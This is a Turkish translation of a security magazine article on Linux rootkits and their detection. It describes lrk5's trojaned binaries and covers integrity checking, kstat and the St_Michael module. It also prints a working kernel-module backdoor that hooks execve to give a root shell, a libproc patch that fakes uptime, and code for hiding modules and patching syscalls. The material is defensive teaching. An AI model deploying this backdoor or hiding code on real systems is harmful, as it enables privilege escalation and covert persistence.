original in fr Frédéric Raynal aka Pappy
fr to en Georges Tarbouriech
en to tr:Erdal Mutlu
Frédéric Raynal bilgisayar bilimleri Ph.D derecesini, bilgi gizleme konusundaki tezini tamamladıktan sonra aldı. Kendisi, bilgisayar güvenliği konusuna adanmış Fransız MISC dergisinin şef editörüdür. Bu arada R&D konusunda kendine iş aramaktadır.
Bu yazı ilk olarak Linux Magazine France dergisinin güvenlik ile ilgili özel bir sayısında yayınlandı. Editör, yazarlar ve çevirmenler, bu sayıda yer alan yazıları LinuxFocus'da yayınlanmasını kibarca kabul ettiler. Dolayısıyla, LinuxFocus yazıların İngilizceleri hazır olur olmaz yayınlayacaktır. Konuyla ilgili herkese çok teşekkür ederim. Bu özet, bu türden olan her yazıda yeralacaktır.
Bu yazıda, bir saldırganın sisteme girdikten sonra yapabileceği işler anlatılacaktır. Ayrıca, bu durumda sistemin işgal edilip edilmediğini sezimlemek için sistem yöneticisinin neler yapabileceği de tartışılacaktır.
Kullandığı yöntemi düşünmeden, bir saldırganın sisteme girmeyi başardığını varsayalım. Diyelim ki, sistem yöneticisinin, root kullanıcısının vs sahip olduğu tüm haklara da sahip olsun. Kullanılan tüm araçlar sistemin düzgün çalıştığını gösterseler de, sistem artık güvenilir değildir. Saldırgan, sistem çetele dosyalarını temizlemiş, ... , aslında sisteme rahat bir şekilde kendini yüklemiştir.
Saldırganın ilk amacı, kendini sistem yöneticisinden olabildiğince gizlemektir. Daha sonra, yapmak istediği şeye göre gerekli araçları sisteme yükleyecektir. Tabii, eğer tüm bilgileri yok etmek isterse, bu kadar dikkatli olmasına gerek kalmayacaktır.
Sistem yöneticisinin sisteme sürekli bağlı olarak tüm bağlantıları denetlemesi
beklenemez. Ancak, istenmeyen bir saldırıyı olabildiğince çabuk sezimlemelidir.
Sözgelimi, ağ izleme (sniffer) programlarıyla ağ üzerinde dolaşan tüm
paketleri elde edebilir.
İşgal edilmiş bir sistem, saldırganın botIRC, DDOS gibi çeşitli programları
çalıştırdığı bir üs haline gelecektir. telnet
, rlogin
, pop3
gibi birçok protokol veri akışını ve geçişsözcüklerini cypher işleminden
geçirmemektedir, yani kodlamamaktadır. Dolayısıyla, sahip olduğu zaman ne kadar
fazla ise, saldırgan, işgal edilmiş bilgisayarın bulunduğu ağ üzerinde o kadar fazla
denetim sağlamış olacaktır.
Saldırganın varlığı belirlendikten sonra ortaya başka bir sorun daha çıkmaktadır: Saldırganın sistemde neleri değiştirdiğini bilmiyoruz. Belki de, işgal ettiği sistemin temel komutları ve teşhis araçlarını değiştirmiştir. Bundan sonra, denetimlerimizde çok titiz davranmak zorundayız, yoksa sistem bir daha işgal edilebilir veya kırılabilir.
Son soru, alınacak önlemler konusunda olacaktır. İki yöntem izlenebilir: Sistem yöneticisi sistemi tekrar yükleyebilir veya sadece bozulmuş dosyaları değiştirebilir. Eğer, sistemi yeniden yüklemek çok zaman alacaksa, değiştirilmiş dosyların hangileri olduğunu gözlemlemek çok dikkatli yapılması gereken bir işlemdir.
Hangi yöntemi izlerseniz izleyin, bozulmuş sistemin bir yedeğini alının, ki daha sonra saldırganın bu işi nasıl yaptığını öğrenebilesiniz. Ayrıca, bilgisayarınız daha büyük bir saldırının bir parçası olmuş olabilir ve bu da sizin açınızdan hukuki sonuçlar doğurabilir. Yedek almama bilgi saklama anlamına gelebileceği gibi, alma ise sizi temize çıkarabilir.
Burada kırılmış bir sistemde en fazla hakka sahip olurken, görünmez kalmanın birkaç farklı yöntemi tartışılacaktır.
Konunun ayrıntılarına girmeden önce, kullanılan terimleri tanımlayalım:
Kırıcı sistemi işgal ettikten sonra, her iki tür programa gereksinim duyacaktır. Arka kapı sayesinde, sistem yöneticisi tüm geçişsözcüklerini değiştirse bile sisteme girebilmesini sağlamaktadır. Trojanlar ise, onun görünmez kalmasını sağlamaktadır.
Şu aşamada bir programın trojan mı yoksa arka kapı mı olduğu bizi ilgilendirmiyor. Amacımız, onları oluşturmanın ve belirlemenin var olan yollarını (ikisi de benzerdir) göstermektir.
Son olarak, birçok Linux dağıtıcısının sunduğu kimliklendirme yöntemini
ekleyelim (Sözgelimi, rpm --checksig
ile dosyaların kaynağını ve
bütünlüğünü denetlemeniz olasıdır.). Sisteminize herhangibir yazılım yüklemeden
önce denetlemekte yarar vardır. Eğer, bozuk bir paketi alıp sisteminize
yüklerseniz, saldırgana yapacak pek bir şey bırakmamış olursunuz:(
Windows altında Back Orifice ile olan da bu dur zaten.
Unixi'te eskiden, sisteme yapılan bir saldırıyı belirlemek pek zor değildi:
last
komutuyla 'saldırgan'ın hangi hesaplarda ve nerelerden
sisteme bağlandığını tarihleri ile birlikte göstermektedir.
ls
dosyaları ps
ise, çalışan programları
(sniffer, geçişsözcüğü kırıcıları...) göstermektedir .netstat
bilgisayardaki canlı bağlantıları göstermektedir.
ifconfig
komutu ağ kartınınızın
promiscuous
seviyesinde, ki bu seviyede ağ'ı dinleyen birisi tüm
geçen paketleri görebilmektedir...Bu zamanlardan sonra saldırganlar yukarıda belirtilen komutların yerine geçecek komutlar geliştirdiler. Yunanlıların Troya'yı ele geçirmek için tahtadan bir at yapmaları gibi, bu programlar da asılları gibi gözükmekte ve böylece sistem yöneticileri tarafından güvenle kullanılmaktadır. Ancak, bu yeni programlar saldırganı saklacayacak şekilde bilgi gizlemektedir. Aynı dizindeki diğer programlar gibi aynı zaman izi (timestamp) ve denetim toplamları (checksums) da değişmediği için (tabii diğer troyan program sayesinde) 'saf' sistem yöneticisi tamamen kandırılmış olur.
Linux Root-Kit
(lrk
) biraz eski de olsa kendi alanında bir klasiktir.
Başlangıçta Lord Somer tarafında geliştirilen kit, şimdilerde beşinci
sürümüne ulaşmıştır. Bunun dışında birçok başka root-kit de vardır. Bu tür
araçların yapabileceklerini hakkında bir fikir verebilmek için biz lrk'nın özelliklerinden
söz edeceğiz.
Değiştirilmiş programlar sisteme özell erişim sağlamaktadır. Bu programlardan birini
kullananların değişikliklerin farkına varmamaları için, benimsenmiş değer olarak
satori
olan geçişsözcüğü ile korunmaktadır. Geçişsözcüğü
derleme sırasında değiştirilebilir.
ls
, find
, locate
,
xargs
or du
onun dosyalarını göstermemektedir;
ps
, top
or pidof
onun süreçlerini göstermeyecektir; netstat
istenmeyen bağlantıları özallikle
kırıcının
bindshell
, bnc
veya
eggdrop
gibi servislerine olan bağlantıları gizleyecektir; killall
onun programlarını sona erdirmeyecektir;ifconfig
ağ kartının
promiscuous
seviyesinde (genelde "PROMISC
" yazısı gözükmektedir) çalıştığını
göstermeyecektir; crontab
onun işlerini gizleyecektir;tcpd
bir yapılandırma dosyasında tanımlı bağlantıların çetelesini tutmayacaktır;syslogd
tcpd
ile aynı davranışı sergiler.chfn
root-kit kullanıcı adı geçişsözcüğü olarak girildiğinde bir root kabuk ortamı
açmaktadır;chsh
root-kit geçişsözcüğü yeni bir kabuk adı olarak yazıldığında
bir root kabuk ortamı açmaktadır;passwd
root-kit geçişsözcüğü geçişsözcüğü olarak girildiğinde yeni bir root kabuk ortamı
açmaktadır;login
root-kit geçişsözcüğü girildiğinde kırıcının kimliğini herhangi birisi gibi göstermekte
ve ondan sonra da girilen komutların tarihini tutmamaktadır;su
login
ile aynı;inetd
belli bir bağlantı noktasında bağlantı bekleyen bir root kabuğu yüklemektedir.
Bağlantı sağlandıktan sonra, yeni satıra root-kit geçişsözcüğünü girmek gerekmektedir;rshd
eğer kullanıcı adı root-kit'in geçişsözcüğü ise,
root olarak istenilen komutu çalıştırmaktadır;sshd
login
gibi çalışmakta, ancak uzaktan erişim sağlamaktadır;fix
bozuk programı aslının yerine zaman izi (timestamp) ve denetim toplamını (checksum)
değiştirmeden yüklemektedir;linsniffer
ağ paketlerini, geçişsözcüklerini vs yakalamaktadır;sniffchk
yakalayıcının (sniffer) çalışıp çalışmadığını denetlemektedir;wted
wtmp
dosyasında değişiklik yapılmasını sağlamaktadır; z2
wtmp
, utmp
ve
lastlog
dosyalarındaki istenmeyen kayıtları silmeye yaramaktadır; Yeni root-kit'ler doğrudan çekirdeğe saldırdıklarından, bu root-kit artık eskimiş durumdadır. Dahası, etkilenen programların sürümleri de artık kullanılmamaktadır.
Güvenlik önlemleriniz sıkı olduğu sürece, bu şekil root-kit'leri tespit etmek kolaydır. Hash fonksiyonları ile kriptografi bize uygun aracı sağlamaktadır:
[lrk5/net-tools-1.32-alpha]# md5sum ifconfig 086394958255553f6f38684dad97869e ifconfig [lrk5/net-tools-1.32-alpha]# md5sum `which ifconfig` f06cf5241da897237245114045368267 /sbin/ifconfig
Neyin değiştiğini bilmeden bile, yüklü olan ifconfig
ile lrk5
deki
ile farklı olduğu hemen anlaşılmaktadır.
Bilgisayarın yüklenmesi biter bitmez, duyarlı dosyaların (duyarlı dosyalar konusuna daha sonra geleceğiz) hash verileri ile birlikte bir veritabanına yedeğini almak gerekir ki, daha sonra yapılacak değiştirmeler olabildiğince kolay sezimlenebilsin.
Veritabanı fiziksel olarak içeriği değiştirilemeyen (disket, bir defa yazılabilen CD, ...) ortamlarda saklanmalıdır. Diyelim ki kırıcı, sistemde sistem yöneticisi haklarına sahip oldu. Eğer, veritabanı sadece okunabilir bir disk bölmesine yerleştirilmiş ise, bu disk bölmesi yazılabilir olarak yeniden bağlanabilir, veritabanı güncellenebilir ve sonunda tekrar sadece okunabilir olarak bağlanabilir. Eğer, kırıcı dikkatli ise, veritabanının zaman izi değerini de düzeltecektir. Böylece, bir sonraki bütünlük denetimi herhangi bir farklılık sezimleyemeyecektir. Bunun anlamı, süper kullanıcı haklarının veritabanını korumaya yetmeyeceğidir.
Sisteminizi sonraları güncellediğinizde, yedeğinizi de güncellemeniz gerekir. Böylce, yedekler üzerinde yapacağınız denetimlerle, sistemdeki istenmeyen değişiklikleri belirleyebilirsiniz.
Ancak, sistem bütünlüğünün denetlenebilmesi iki koşul altında olasıdır:
Yani, her denetim başka bir sistemden (işgal edilmemiş) gelen araçlar kullanılarak yapılmalıdır.
Görüldüğü gibi, sistemde görünmez olabilmek için birçok sistem aracında değişiklik yapmak gerekmektedir. Bir dosyanın var olup olmadığını belirlemek için birçok komut vardır. Aynı şey ağ bağlantıları ve çalışan programlar için geçerlidir. Sonuncusunu unutmak vahim sonuçlara yolaçabilir.
Günümüzde program boyutunu küçük tutmak için birçok ikili dosya dinamik kütüphane kullanmaktadır. Yukarıda sözünü ettiğimiz sorunu giderebilmek için basit bir yol vardır, o da her ikili dosyayı değiştirmek yerine, gerekli fonksiyonu bir kütüphaneye yerleştirmektir.
Bir kırıcının sistemi yeniden başlattıktan sonra sisteminin ayakta kalma süresi veya çalışma (uptime)
süresini değiştirmek istediğini varsayalım. Bu bilgiye
uptime
, w
, top
gibi çeşitli sistem araçları
ile ulaşılabilir.
İkili dosyaların hangi kütüphaneleri kullandığını öğrenebilmek için
ldd
komutu kullanılmaktadır:
[pappy]# ldd `which uptime` `which ps` `which top` /usr/bin/uptime: libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libc.so.6 => /lib/libc.so.6 (0x40032000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) /bin/ps: libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libc.so.6 => /lib/libc.so.6 (0x40032000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) /usr/bin/top: libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libncurses.so.5 => /usr/lib/libncurses.so.5 (0x40032000) libc.so.6 => /lib/libc.so.6 (0x40077000) libgpm.so.1 => /usr/lib/libgpm.so.1 (0x401a4000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
libc
nin yanısıra, libproc.so
kütüphanesini bulmak istiyoruz.
Kaynak kodu bulup değiştirmek yeterlidir. Burada, $PROCPS
dizininde
bulunan 2.0.7 sürümünü kullanacağız.
uptime
komutunun
uptime.c
dosyası
print_uptime()
fonksiyonunu
$PROCPS/proc/whattime.c
dosyasında bulabileceğimizi belirtmektedir.
uptime(double *uptime_secs, double *idle_secs)
fonksiyonu
($PROCPS/proc/sysinfo.c
) isteklerimiz doğrultusunda değiştirmemize olanak
vermektedir:
/* $PROCPS/proc/sysinfo.c */ 1: int uptime(double *uptime_secs, double *idle_secs) { 2: double up=0, idle=1000; 3: 4: FILE_TO_BUF(UPTIME_FILE,uptime_fd); 5: if (sscanf(buf, "%lf %lf", &up, &idle) < 2) { 6: fprintf(stderr, "bad data in " UPTIME_FILE "\n"); 7: return 0; 8: } 9: 10: #ifdef _LIBROOTKIT_ 11: { 12: char *term = getenv("TERM"); 13: if (term && strcmp(term, "satori")) 14: up+=3600 * 24 * 365 * log(up); 15: } 16: #endif /*_LIBROOTKIT_*/ 17: 18: SET_IF_DESIRED(uptime_secs, up); 19: SET_IF_DESIRED(idle_secs, idle); 20: 21: return up; /* assume never be zero seconds in practice */ 22: }
12 den 18. satıra kadarını programın ilk sürümüne eklemekle, fonksiyonun
sonucunu değiştireceğini görmüş olduk. Eğer, TERM
çevre
değişkeni satori
değerine sahip değilse,
up
değişkeni gerçeck ayakta kalma süresinin (uptime)
logaritmik olarak artırılmaktadır (Kullanılan bu formüller, çok kısa bir sürede
ayakta kalma süresi yıllara erişmektedir:)).
Kütüphanemizi derlemek için
-D_LIBROOTKIT_
ile -lm
seçeneklerini eklemeliyiz (
log(up);
için). uptime
fonksiyonumuzu kullanarak bir ikili dosyanın gereksinim duyduğu
kütüphaneleri ldd
komutuyla araştırmak istediğimizde,
libm
in listede olduğunu görürüz. Ne yazıkki, bu sistemde yüklü
olan ikili dosyalar için değru değildir. Kütüphaneyi olduğu gibi kullanmaya
kalkıştığımızda aşağıdaki hataya yol açmaktadır:
[procps-2.0.7]# ldd ./uptime //compiled with the new libproc.so libm.so.6 => /lib/libm.so.6 (0x40025000) libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40046000) libc.so.6 => /lib/libc.so.6 (0x40052000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) [procps-2.0.7]# ldd `which uptime` //cmd d'origine libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libc.so.6 => /lib/libc.so.6 (0x40031000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) [procps-2.0.7]# uptime //original command uptime: error while loading shared libraries: /lib/libproc.so.2.0.7: undefined symbol: log
Herbir ikili dosyayı derlememek için matematik kütüphanesini
libproc.so
yaratırken statik olarak derlemek yeterli olacaktır:
gcc -shared -Wl,-soname,libproc.so.2.0.7 -o libproc.so.2.0.7 alloc.o compare.o devname.o ksym.o output.o pwcache.o readproc.o signals.o status.o sysinfo.o version.o whattime.o /usr/lib/libm.a
log()
fonksiyonu doğrudan
libproc.so
kütüphanesinin içinde dir. Değiştirilmiş
kütüphane, asıl kütüphane ile aynı bağımlılıkları içermeledir,
yoksa bunu kullanan ikili dosyalar çalışmayacaktır.
[pappy]# uptime 2:12pm up 7919 days, 1:28, 2 users, load average: 0.00, 0.03, 0.00 [pappy]# w 2:12pm up 7920 days, 22:36, 2 users, load average: 0.00, 0.03, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT raynal tty1 - 12:01pm 1:17m 1.02s 0.02s xinit /etc/X11/ raynal pts/0 - 12:55pm 1:17m 0.02s 0.02s /bin/cat [pappy]# top 2:14pm up 8022 days, 32 min, 2 users, load average: 0.07, 0.05, 0.00 51 processes: 48 sleeping, 3 running, 0 zombie, 0 stopped CPU states: 2.9% user, 1.1% system, 0.0% nice, 95.8% idle Mem: 191308K av, 181984K used, 9324K free, 0K shrd, 2680K buff Swap: 249440K av, 0K used, 249440K free 79260K cached [pappy]# export TERM=satori [pappy]# uptime 2:15pm up 2:14, 2 users, load average: 0.03, 0.04, 0.00 [pappy]# w 2:15pm up 2:14, 2 users, load average: 0.03, 0.04, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT raynal tty1 - 12:01pm 1:20m 1.04s 0.02s xinit /etc/X11/ raynal pts/0 - 12:55pm 1:20m 0.02s 0.02s /bin/cat [pappy]# top top: Unknown terminal "satori" in $TERM
Herşey yolunda gözüküyor. Görünüşe göre top
TERM
çevre
değişkenini görüntülemek için kullanmaktadır. O yüzden, gerçek değerleri
alabilmek için başka bir değişkeni bir işaret olarak kullanmalıyız.
Dinamik kütüphanelerinde yapılmış değişiklikleri belirlemek için daha önce
sözünü ettiğimiz yönteme benzerdir. Hash verisini denetlemek yeterlidir.
Ancak, birçok sistem yöneticisi /bin
, /sbin
, /usr/bin
,
/usr/sbin
, /etc
gibi dizinlerin hash verilerinin hesaplanmasını
ve denetlenmesini yaparken kütüphanelerin olduğu dizinleri atlamakta ki bunlar da
diğerleri kadar önemlidir.
Ancak, dinamik kütüphaneleri değiştirmek, sadece birden fazla ikili dosyayı aynı anda değiştirmek amacıyla yapılmamaktadır. Bütünlüğü denetleyen bazı programlar da bu tür kitiphaneleri kullanmaktadır. Bu oldukça tehlikelidir! Duyarlı sistemlerde tüm önemli programlar statik olarak derlenmelidir. Böylece, kütüphanelerin değiştirilmelerinden etkilenmemiş olurlar.
Dolayısıyla önceki kullanılan md5sum
programı biraz tehlikelidir:
[pappy]# ldd `which md5sum` libc.so.6 => /lib/libc.so.6 (0x40025000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
Bu komut libc
kütüphanesinden dinamik olarak fonksiyonlar kullanılmaktadır
ki bunlar değiştirilebilir (nm -D `which md5sum`
ile denetleyin)
Sözgelimi, fopen()
kullanırken sadece dosyanın yoltanımına
bakmak yeterlidir. Eğer, kırılmış programı gösteriyorsa, asıl programa
yönlendirmek olasıdır: Bunu kırıcı sistemde bir yerde saklıyordur.
Bu basit örnek, bütünlük testleri şaşırtacak olasılıkları göstermektedir. Bu tür testlerin işgal edilmemiş, yani dış araçlar ile yapılması gerektiğini gördük (İkili dosyalar bölümüne bakınız). Şimdi ise, işgal edilmiş sistemlerdeki fonksiyonları kullandıklarında hiç bir işe yaramayacaklarını keşif ettik.
İşte şimdi, bir kırıcının varlığını sezimleyecek bir acil durum kiti oluşturabilirizi:
ls
dosyalarını bulmak için;ps
süreçlerin çalışmasını denetlemek için;netstat
ağ bağlantılarını izlemek için;ifconfig
ağ kartı durumunu öğrenmek için.Bu programlar en az gereksinim duyulanlardır. Diğer komutlar da yararlı olabilir:
lsof
sistemdeki tüm açık dosyları listeler;fuser
bir dosyayı kullanan süreci belirler.Söylemek istediğimiz bir şey de, bu araçlar sadece kırıcının varlığını sezimlemede değil, sistemde hata belirleme sırasında da kullanılabilir.
Açıktır kir, acil kitteki her program statik olarak derlenmelidir. Dinamik kütüphane kullanımının başarısız olabileceğini biraz önce gördük.
Bir dosyanın varlığını sezimlemede kullanılan her ikili dosyayı değiştirmek, ya da kütüphanelerde bulunan her fonksiyonu denetim altında tutmak imkansız olmalıdır. İmkansız mı? Bunu siz söylüyorsunuz. Durum pek de öyle değil.
Yeni bir root-kit kuşağı ortaya çıktı. Bu doğrudan çekirdeği hedef alıyor.
Sınırsız! Adından da anlaşıldığı gibi, LKM çekirdek alanında çalışmakta ve böylece herşeyi denetleyebilmektedir.
Kırıcı için LKM'nin yapabildikleri aşağıda sıralandırılmıştır:
chroot
ortamından veya hapishanesinden kurtulmak;Listenin uzunluğu kırıcının hayal yeteneği ile sınırlıdır. Ancak, yukarıdaki yöntemlerde olduğu gibi, sistem yöneticisi aynı araçları kullanarak sistemi korumak için kendi araçlarını geliştirebilir:
LKM'ye karşı nasıl korunuruz? Çekirdeği yapılandırma sırasında CONFIG_MODULES
modül desteği seçilmeyebilir. Sonuç olarak bu dökme (monolithic)
çekirdek oluşumu demektir.
Ancak, çekirdekte modül desteği olmadığında bile, kolay olmamakla birlikte
bazı modülleri belleğe yüklemek olasıdır.
Silvio Cesare çekirdeğin belleğini yönettiği /dev/kmem
aygıtını
kullanarak, çekirdeğe saldırmak amacıyla, kinsmod
programını
yazdı (Kendi sayfasındaki runtime-kernel-kmem-patching.txt dosyasını okuyunuz.).
Modül programlamayı özetlemek için herşeyin init_module()
ve
cleanup_module()
adındaki iki fonksiyonda bittiğini söylemeliyiz.
Bunlar modülün davranışını belirlemektedir. Ancak, çekirdek ortamında
çalıştıkları için, çekirdek belleğinde yer alan sistem çağrıları ve sembolleri gibi
herşeye ulaşabilirler.
LKM kullanarak bir arka kapı yüklenmesini gösterelim. Root kabuk ortamı
elde etmek isteyen kullanıcının /etc/passwd
komutunu çalıştırması
yeterlidir. Tabii bu bir komut değil. Ancak, sys_execve()
sistem çağrısını /bin/sh
komutuna yönlendirerek,
root haklarına sahip bir kabuk ortamı sağlamış olur.
Bu modül 2.2.14, 2.2.16, 2.2.19, 2.4.4 gibi çeşitli çekirdekler ile test edilmiştir. Hepsiyle düzgün çalışmaktadır. Ancak, 2.2.19smp-ow1 (Openwall yaması ile çoklu işlemcili) çekirdekle kullanıldığında kabuk açık ise, root haklarını vermemektedir. Bu çekirdek bir şekilde hassas ve kırılgandır. O yüzden dikkatli olmanızda yarar vardır... Dosyların yoltanımları çekirdekaynak kodunun olağan ağaç yapısında yer almaktadır.
/* rootshell.c */ #define MODULE #define __KERNEL__ #ifdef MODVERSIONS #include <linux/modversions.h> #endif #include <linux/config.h> #include <linux/stddef.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/mm.h> #include <sys/syscall.h> #include <linux/smp_lock.h> #if KERNEL_VERSION(2,3,0) < LINUX_VERSION_CODE #include <linux/slab.h> #endif int (*old_execve)(struct pt_regs); extern void *sys_call_table[]; #define ROOTSHELL "[rootshell] " char magic_cmd[] = "/bin/sh"; int new_execve(struct pt_regs regs) { int error; char * filename, *new_exe = NULL; char hacked_cmd[] = "/etc/passwd"; lock_kernel(); filename = getname((char *) regs.ebx); printk(ROOTSHELL " .%s. (%d/%d/%d/%d) (%d/%d/%d/%d)\n", filename, current->uid, current->euid, current->suid, current->fsuid, current->gid, current->egid, current->sgid, current->fsgid); error = PTR_ERR(filename); if (IS_ERR(filename)) goto out; if (memcmp(filename, hacked_cmd, sizeof(hacked_cmd) ) == 0) { printk(ROOTSHELL " Got it:)))\n"); current->uid = current->euid = current->suid = current->fsuid = 0; current->gid = current->egid = current->sgid = current->fsgid = 0; cap_t(current->cap_effective) = ~0; cap_t(current->cap_inheritable) = ~0; cap_t(current->cap_permitted) = ~0; new_exe = magic_cmd; } else new_exe = filename; error = do_execve(new_exe, (char **) regs.ecx, (char **) regs.edx, ®s); if (error == 0) #ifdef PT_DTRACE /* 2.2 vs. 2.4 */ current->ptrace &= ~PT_DTRACE; #else current->flags &= ~PF_DTRACE; #endif putname(filename); out: unlock_kernel(); return error; } int init_module(void) { lock_kernel(); printk(ROOTSHELL "Loaded:)\n"); #define REPLACE(x) old_##x = sys_call_table[__NR_##x];\ sys_call_table[__NR_##x] = new_##x REPLACE(execve); unlock_kernel(); return 0; } void cleanup_module(void) { #define RESTORE(x) sys_call_table[__NR_##x] = old_##x RESTORE(execve); printk(ROOTSHELL "Unloaded:(\n"); }
Şimdi herşeyin istedğimiz gibi çalıştığından emin olmak için bir deneme yapalım:
[root@charly rootshell]$ insmod rootshell.o [root@charly rootshell]$ exit exit [pappy]# id uid=500(pappy) gid=100(users) groups=100(users) [pappy]# /etc/passwd [root@charly rootshell]$ id uid=0(root) gid=0(root) groups=100(users) [root@charly rootshell]$ rmmod rootshell [root@charly rootshell]$ exit exit [pappy]#
Bu kısa gösteriden sonra
/var/log/kernel
dosyasının içeriğene bir göz atalım:
syslogd
çekirdek tarafından gönderilen tüm mesajları yazmakla yapılandırılmıştır
(kern.* /var/log/kernel
/etc/syslogd.conf
da):
[rootshell] Loaded:) [rootshell] ./usr/bin/id. (500/500/500/500) (100/100/100/100) [rootshell] ./etc/passwd. (500/500/500/500) (100/100/100/100) [rootshell] Got it:))) [rootshell] ./usr/bin/id. (0/0/0/0) (0/0/0/0) [rootshell] ./sbin/rmmod. (0/0/0/0) (0/0/0/0) [rootshell] Unloaded:(
Bu modülü biraz değiştirerek sistem yöneticisi çok güzel bir izleme aracına
sahip olmuş olur. Sistemde çalıştırılan tüm komutların çetelesini çekirdek çetele
dosyasında tutulmaktadır. regs.ecx
**argv
yi ve
regs.edx
de **envp
yi
o andaki
süreci tanımlayan veri yapısını içermektedir. Böylece,
sistemde her an olup bitenin bilgisi elimizde bulunmaktadır.
System yönetcisi açısından, bütünlük testi artık bu modülü bulmada yararlı olmaz (Aslında pek de değil, çünkü bu basit bir modül.). Daha sonra, böyle bir root-kit'in arkada bırakacağı parmak izlerini araştıracağız:
rootshell.o
basit bir modül olduğundan,
dosya sisteminde gözükmemektedir. Ancak, sys_getdents()
değiştirmek bu dosyayı görünmez kılmaya yeterlidir.
sys_kill()
yeniden tanımlamakla ve yeni SIGINVISIBLE
sinyali yaratmakla /proc
da işaretlenmiş dosyalara olan erişim
gizlenebilir (adore
lrk ya bakınız).
lsmod
komutu bellekte yüklenmiş modüllerin listesini vermektedir:
[root@charly module]$ lsmod Module Size Used by rootshell 832 0 (unused) emu10k1 41088 0 soundcore 2384 4 [emu10k1]Bir modül yüklenirken, yüklü tüm modüllerin bulunduğu modül listesinin (
module_list
)
başına yerleştirilmektedir ve adı da /proc/modules
dosyasına
eklemektedir. lsmod
komutu bu dosyayı okuyarak gerekli bilgilere
ulaşmaktadır. Bu modülü modül listesinden (module_list
) kaldırdığında
/proc/modules
dosyasından da kaybolmaktadır:
int init_module(void) { [...] if (!module_list->next) //this is the only module:( return -1; // This works fine because __this_module == module_list module_list = module_list->next; [...] }Ne yazık ki, bu bize adresini başka bir yerde saklamadığımızda, modülü bellekten kaldırmamızı engellemektedir.
/proc/ksyms
daki semboller: Bu dosya çekirdek alanında erişilebilecek
sembollerin listesini içermektedir:
[...] e00c41ec magic_cmd [rootshell] e00c4060 __insmod_rootshell_S.text_L281 [rootshell] e00c41ec __insmod_rootshell_S.data_L8 [rootshell] e00c4180 __insmod_rootshell_S.rodata_L107 [rootshell] [...]
include/linux/module.h
dosyasındaki EXPORT_NO_SYMBOLS
makrosu
derleyiciye hiçbir fonksiyona veya değişkene modül dışından erişim olmayacağını bildirmektedir:
int init_module(void) { [...] EXPORT_NO_SYMBOLS; [...] }Ancak, 2.2.18, 2.2.19 ve 2.4.x ( x<=3 - Diğerleri hakkında bilgim yok.) çekirdeklerinde
__insmod_*
sembolleri görünür durumdadır.
Modülü modül listesinden (module_list
) kaldırmakla,
/proc/ksyms
da ihraç edilmiş semboller de silinmektedir.
Burada konuştuğumuz sorun veya çözümler, kullanıcı ortamındaki komutlara dayanmaktadır. 'İyi' bir LKM gizli kalmak için tüm teknikleri kullanacaktır.
Bu root-kit'leri ortaya çıkartmak için iki yöntem vardır. İlki, /dev/kmem
aygıtını kullanarak bellekteki çekirdek resmi ile /proc
daki
ile karşılaştırmaya dayanmaktadır. kstat
adındaki aracı kullanarak
/dev/kmem
deki sistemde çalışan süreçleri, sistem çağrı adreslerini
vs arama yapılmasını sağlamaktadır.
Toby Miller'in Yüklenebilir çekirdek
modülleri (LKM) yakalama yazısı, kstat
ile root-kit'leri yakalamasını
anlatmaktadır.
Diğer bir yöntem, herbir sistem çağrısı tablosu değişiklik denemeseni
yakalamaktan geçer. Tim Lawless'in St_Michael
modülü böyle bir
izlemeyi mümkün kılmaktadır. Aşağıdaki bilgi yazının yazımı sırasında modül henüz geliştirme aşamasında
olduğundan değişmiş olabilir.
Önceki örneğimizde gördüğümüz gibi, lkm root-kit'i sistem çağrıları tablosu değişiklikliğene
dayanmaktadır. İlk çözüm onların adreslerinin yedeğini ikinci bir tabloya
almak ve sys_init_module()
ile sys_delete_module()
modülleri
yeniden tanımlamak. Böylece herhangi bir modülü yükledikten sonra,
adresin tutup tutmadığı denetlenebir:
/* Extract from St_Michael module by Tim Lawless */ asmlinkage long sm_init_module (const char *name, struct module * mod_user) { int init_module_return; register int i; init_module_return = (*orig_init_module)(name,mod_user); /* Verify that the syscall table is the same. If its changed then respond We could probably make this a function in itself, but why spend the extra time making a call? */ for (i = 0; i < NR_syscalls; i++) { if ( recorded_sys_call_table[i] != sys_call_table[i] ) { int j; for ( i = 0; i < NR_syscalls; i++) sys_call_table[i] = recorded_sys_call_table[i]; break; } } return init_module_return; }
Bu çözüm var olan root-kit'lere karşı koruma sağlamaktadır ancak
mükemmel olmaktan da uzaktır. Güvenlik konusu çok zor bir yarıştır.
İşte bu güvenlik engelini aşma yöntemi. Sistem çağrısı adresini
değiştirmek yerine, sistem çağrısının kendisini neden değiştirmiyoruz?
Bu Silvio Cesare'ın stealth-syscall.txt belgesinde anlatılmıştır.
Saldırı, sistem çağrısının ilk byte'larını "jump &new_syscall
"
ile değiştirmektedir (Burada Assembler'e benzer bir kaynak kodu ile nasıl
yapıldığını gösterdik.):
/* Extract from stealth_syscall.c (Linux 2.0.35) by Silvio Cesare */ static char new_syscall_code[7] = "\xbd\x00\x00\x00\x00" /* movl $0,%ebp */ "\xff\xe5" /* jmp *%ebp */ ; int init_module(void) { *(long *)&new_syscall_code[1] = (long)new_syscall; _memcpy(syscall_code, sys_call_table[SYSCALL_NR], sizeof(syscall_code)); _memcpy(sys_call_table[SYSCALL_NR], new_syscall_code, sizeof(syscall_code)); return 0; }
İkili dosya ve kütüphaneleri bütünlük testleriyle korumaya çalıştığımız gibi
burada da aynı şeyi yapmamız gerekir. Herbir sistem çağrısı için
olan makina kodunun hash verilerini saklamamız gerekir.
Herbir modül yüklemesinden sonra bütünlük testi yapabilmek için
St_Michael
in init_module()
sistem çağrısını
değiştirmek için uğraşıyoruz.
